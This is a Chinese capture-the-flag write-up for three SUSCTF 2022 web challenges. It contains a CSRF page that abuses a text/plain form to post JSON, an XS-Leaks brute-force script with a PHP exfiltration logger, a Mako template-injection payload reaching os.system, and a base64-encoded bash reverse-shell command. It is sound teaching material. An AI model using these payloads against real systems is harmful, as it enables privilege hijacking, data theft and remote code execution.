emmm看到了还是有差距,继续加油吧~
fxxkcors
我们看看这道题,先是一个登录界面,随便输入用户名和密码都可以登录。
登录页面,看到三个选项,一个是main,里面写着Only normal admin can see the flag
一个是change permission,看来是可以提升权限,试了试发现不行,看来可能需要系统管理员来做这件事情。
一个是logout,登出,没啥好说的。
关键就在change permission,我们需要让管理员来帮我们提升权限。
题目中还给了一个提交report的地方,还给了源码。
const opt = { name: "fxxkcors", router: "fxxkcors", site: process.env.FXXK_SITE ?? "", } const delay = (ms) => new Promise((resolve) => setTimeout(resolve, ms)) const visit = async (browser, url) =>{ let site = process.env.FXXK_SITE ?? "" console.log(`[+]${opt.name}: ${url}`) let renderOpt = {...opt} try { const loginpage = await browser.newPage() await loginpage.goto(site) await loginpage.type("input[name=username]", "admin") await loginpage.type("input[name=password]", process.env.FXXK_ADMIN_PASS ?? "") await Promise.all([ loginpage.click('button[name=submit]'), loginpage.waitForNavigation({waitUntil: 'networkidle0', timeout: 2000}) ]) //登录目标界面 await loginpage.goto("about:blank") await loginpage.close()//关闭标签页 const page = await browser.newPage() await page.goto(url, {waitUntil: 'networkidle0', timeout: 2000})//访问给定的url await delay(2000) /// waiting 2 second. console.log(await page.evaluate(() => document.documentElement.outerHTML)) }catch (e) { console.log(e) renderOpt.message = "error occurred" return renderOpt } renderOpt.message = "admin will view your report soon"//访问成功提示信息 return renderOpt } module.exports = { opt:opt, visit:visit }
这段源码其实就是让admin带着cookie访问我们提交上去的url,我们要想办法让admin重定向到目标页面上的change permission来为我们提升权限。
但是经过测试,change permission是利用json把username参数POST上去,而直接用url访问显然没法用POST,看来只能先定向到我们自己的页面再定向到目标页面,我们在我们的页面上写上恶意代码,让admin浏览器加载之后POST对应界面。
问题的关键变成了如何让admin进行第二次重定向。其实题目中有提示,这道题既然都说了CORS,那么肯定在跨域上做了文章。
CORS是一种跨域通信机制,给一段介绍:
跨源域资源共享(CORS)机制允许 Web 应用服务器进行跨源访问控制,从而使跨源数据传输得以安全进行。现代浏览器支持在 API 容器中(例如 XMLHttpRequest 或 Fetch)使用 CORS,以降低跨源 HTTP 请求所带来的风险。
那这道题的考点其实是跨域。
它的机制,参考CORS通信 -- JavaScript 标准参考教程(alpha) (ruanyifeng.com)。简单来说,就是分为简单请求和非简单请求,简单请求满足请求方式和headers的规定,只需要校验origin就行。但是我们的请求是非简单请求,需要先进行OPTIONS进行预检。但是发了OPTIONS之后发现对面没回应...CORS预检是做不到了。
那就没办法了吗?其实仔细查找资料就会发现,表单是可以跨域发送请求的。参照为什么form表单提交没有跨域问题,但ajax提交有跨域问题? - 知乎 (zhihu.com),然后ajax应该是请求没法正常发送,因为ajax可以读取响应内容,但是form表单是没法读取响应内容的。所以同源策略是为了限制读内容而不是写内容。
那么接下来我们剩下的工作就是用表单POST一个json参数过去,而且还不能用application/json的content-type,否则又要校验了。
可以利用表单元素,在text/plain的body里面硬塞一个参数进去。(队友tql~)
<html> <body onload="javascript:post_cookie()"></body> <script> xhr = new XMLHttpRequest(); function post_form(path, a, b, method = 'post') { // The rest of this code assumes you are not using a library. // It can be made less verbose if you use one. const form = document.createElement('form'); form.method = method; form.action = path; form.enctype = "text/plain" const hiddenField = document.createElement('input'); hiddenField.type = 'hidden'; hiddenField.name = a; hiddenField.value = b; form.appendChild(hiddenField); document.body.appendChild(form); form.submit(); } function post_cookie() { url = "http://124.71.205.122:10002/changeapi.php" // xhr.open('POST', url, false) // xhr.withCredentials = true; // xhr.send(JSON.stringify({'username':'lilac'})); post_form(url,'{"username":"yink22","','":"a"}'); } </script> </html>
在report界面提交你的恶意网址,再登陆就看得到啦~
flag:SUSCTF{fxxK_4h3_c0Rs_oUt}
注意js里面有一个可以用来控制cookie提交的属性叫SameSite,但是显然这道题这个属性不是strict...
What is difference between SameSite="Lax" and SameSite="Strict"? - Stack Overflow
ez_note
这道题考的是XS-Leaks,没有见过的攻击模式,先去看看是啥,参见这篇文章:Cross-Site Search - 先知社区 (aliyun.com)
我的理解是,当我们没有办法直接注入js代码或者进行其他操作的时候,我们可以通过用户访问后返回的一些其他属性来获取信息,比如跳转次数,打开的页面长度等等,有时候,通过这些数据的差异,我们可以猜测出用户访问的结果情况,进而进行盲注。也叫作侧信道攻击。
看看这道题,进去是一个login界面,随便输入就能登录,只有一个写note的功能。测试发现只有一个文件匹配的时候会跳转一次。那么window.history就会多一个,可以用来做判断。
这道题又可以控制admin浏览器,虽然说前面有前缀,但是正常输入没问题。
那猜测admin应该是有一个私有笔记,这个笔记里面有flag,那么我们让admin去搜索字符串,然后检查结果里面的window.history.length,做一个盲注就行了。
<!DOCTYPE html> <html lang="en"> <head> <meta charset="utf-8"> <meta name="robots" content="noindex"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <meta http-equiv="X-UA-Compatible" content="ie=edge"> </head> <script> function send(msg){ const Http = new XMLHttpRequest(); const url='http://127.0.0.1:2334/message.php?msg='+msg; Http.open("GET", url); Http.send(); Http.onreadystatechange = (e) => { console.log(Http.responseText) } //其他师傅用的fetch,我这里好像有点问题,用了XMLHttpRequest还行。 } function search(key){ return new Promise(resolve=>{ var win=window.open('http://123.60.29.171:10001/search?q='+key); //劫持admin浏览器访问 setTimeout(()=>{ win.location.href="about:blank" //把win.location.href设成自己的域或者about:blank就可以重新拿到对history.length的访问权 setTimeout(()=>{ if(win.history.length===3){ send("success:"+key); //多了一次跳转,证明搜索成功 } else{ } win.close(); },1000) },1500) }) } async function run(){ send('start'); let chars='_abcdefghijklmnopqrstuv'.split(''); for(let char of chars){ var temp="SUSCTF{a_"+char; search(temp); } } setTimeout(() => { run() }, 1000) </script>
message.php
<?php if(isset($_GET['msg'])){ $msg=$_GET['msg']; $f=fopen("./message.txt","a"); fwrite($f,$msg."\n"); fclose($f); } ?>
在report界面多次提交自己的网址,更新flag值,over
HTML practice
看了一下是个提交框,没啥思路,fuzz一下吧~
单字符fuzz脚本:
from time import sleep import requests import urllib from bs4 import BeautifulSoup url = "http://127.0.0.1:9999" for i in range(32, 127): html = chr(i) # print(html) data = {'html': html} # 会自动url编码,不需要手动编码 r = requests.post(url=url + '/generate', data=data) soup = BeautifulSoup(r.content, 'lxml') if (soup.find_all('a')): item = soup.find_all('a')[0].get('href')[1:] # 注:有两个.不能直接replace # print(item) r2 = requests.get(url=url + item) # print(r2.url) # print(r.status_code) with open('1.txt', 'a+') as f: f.write(html + ":" + str(r2.status_code) + "\n" + r2.text + "\n") print(str(i)) f.close() else: with open('1.txt', 'a+') as f: f.write(html + ":" + r.text + "\n") print(str(i)) f.close() # sleep(2)
fuzz单字符被ban掉的有这些:
" $ ' * + - / [ ] _
首先判断一下题型,我们提交啥,最后的回显就会显示啥,所以估计这应该是一道SSTI
SSTI在CTF里面常见是python框架(当然也不一定),先猜测是这样。
然后fuzz,一般来说是fuzzdb上面找对应门类进行fuzz,然后手动fuzz一下注释符啥的,再找找常用的SSTI框架,看支不支持语法。反正各种找,找到最后确定这是mako框架,用mako循环语法测试
%for a in (1,2,3): 1 %endfor
结果渲染了3个1,证明确实是mako框架。
当然还有另外的神必fuzz方法,有个/generate的api接口,多打一个/会报错
Absolute URI not allowed if server is not a proxy.
上网一搜发现是cherrypy,常用框架就是mako,然后mako语法打一打就确定了-_-
然后去翻mako文档,找一下哪里可以引入python代码。首先是<% %>可以引入,但是%>貌似被ban掉了...
再翻,发现可以在for循环里面执行python代码,看这个例子Namespaces — Mako 1.2.0 Documentation (makotemplates.org)
## base.mako ## base-most template, renders layout etc. <html> <head> ## traverse through all namespaces present, ## look for an attribute named 'includes' % for ns in context.namespaces.values(): % for incl in getattr(ns.attr, 'includes', []): ${incl} % endfor % endfor </head> <body> ${next.body()} </body </html>
for里面引用了python代码,看来可以在这个里面执行
但是单引号和双引号都被ban掉了,想法肯定是利用chr这些来绕过,但是chr也被ban掉了,那就只能利用request参数了。
flask可以通过request.args.name来获取到name参数,根据之前fuzz时的报错信息
不难发现这是CherryPy,即无法使用request来获取请求参数
那就上网搜一下mako的相关用法(或者本地实践也可以),会发现mako是可以直接通过名字来引用GET变量的。
然后找一下mako引用os.system的路径,由于这道题下划线没了,就不能用追溯基类的方式,所以只能使用属性引用了,利用点符号。用dir()方法慢慢找。当然网上有payload直接用就好Python context free payloads in Mako templates · Podalirius,随便挑一个没下划线的
测试脚本:
from mako.template import Template html=''' %for a in (1,self.module.cache.util.os.system(name)): 1 %endfor ''' myapp=Template(html) print(myapp.render(name="whoami"))
正好url有一个name变量,那就利用一下,poc:
%for a in (1,self.module.cache.util.os.system(name)): a %endfor
但是命令执行结果不回显,写文件写不进去(可能是我环境的问题,其他队是写的进去的,可以写到./template文件夹里面),反弹shell和命令盲注都行,我选的是反弹shell,用这个命令反弹:echo YmFzaCAtaSA+JiAvZGV2L3RjcC9pcC9wb3J0IDA+JjE=|base64 -d|bash,注意别忘了手动url编码(有加号)
进入根目录查看flag,over
参考文章:(师傅们tql啦!)
2022 SUSCTF SU Writeup | TEAM-SU
文章评论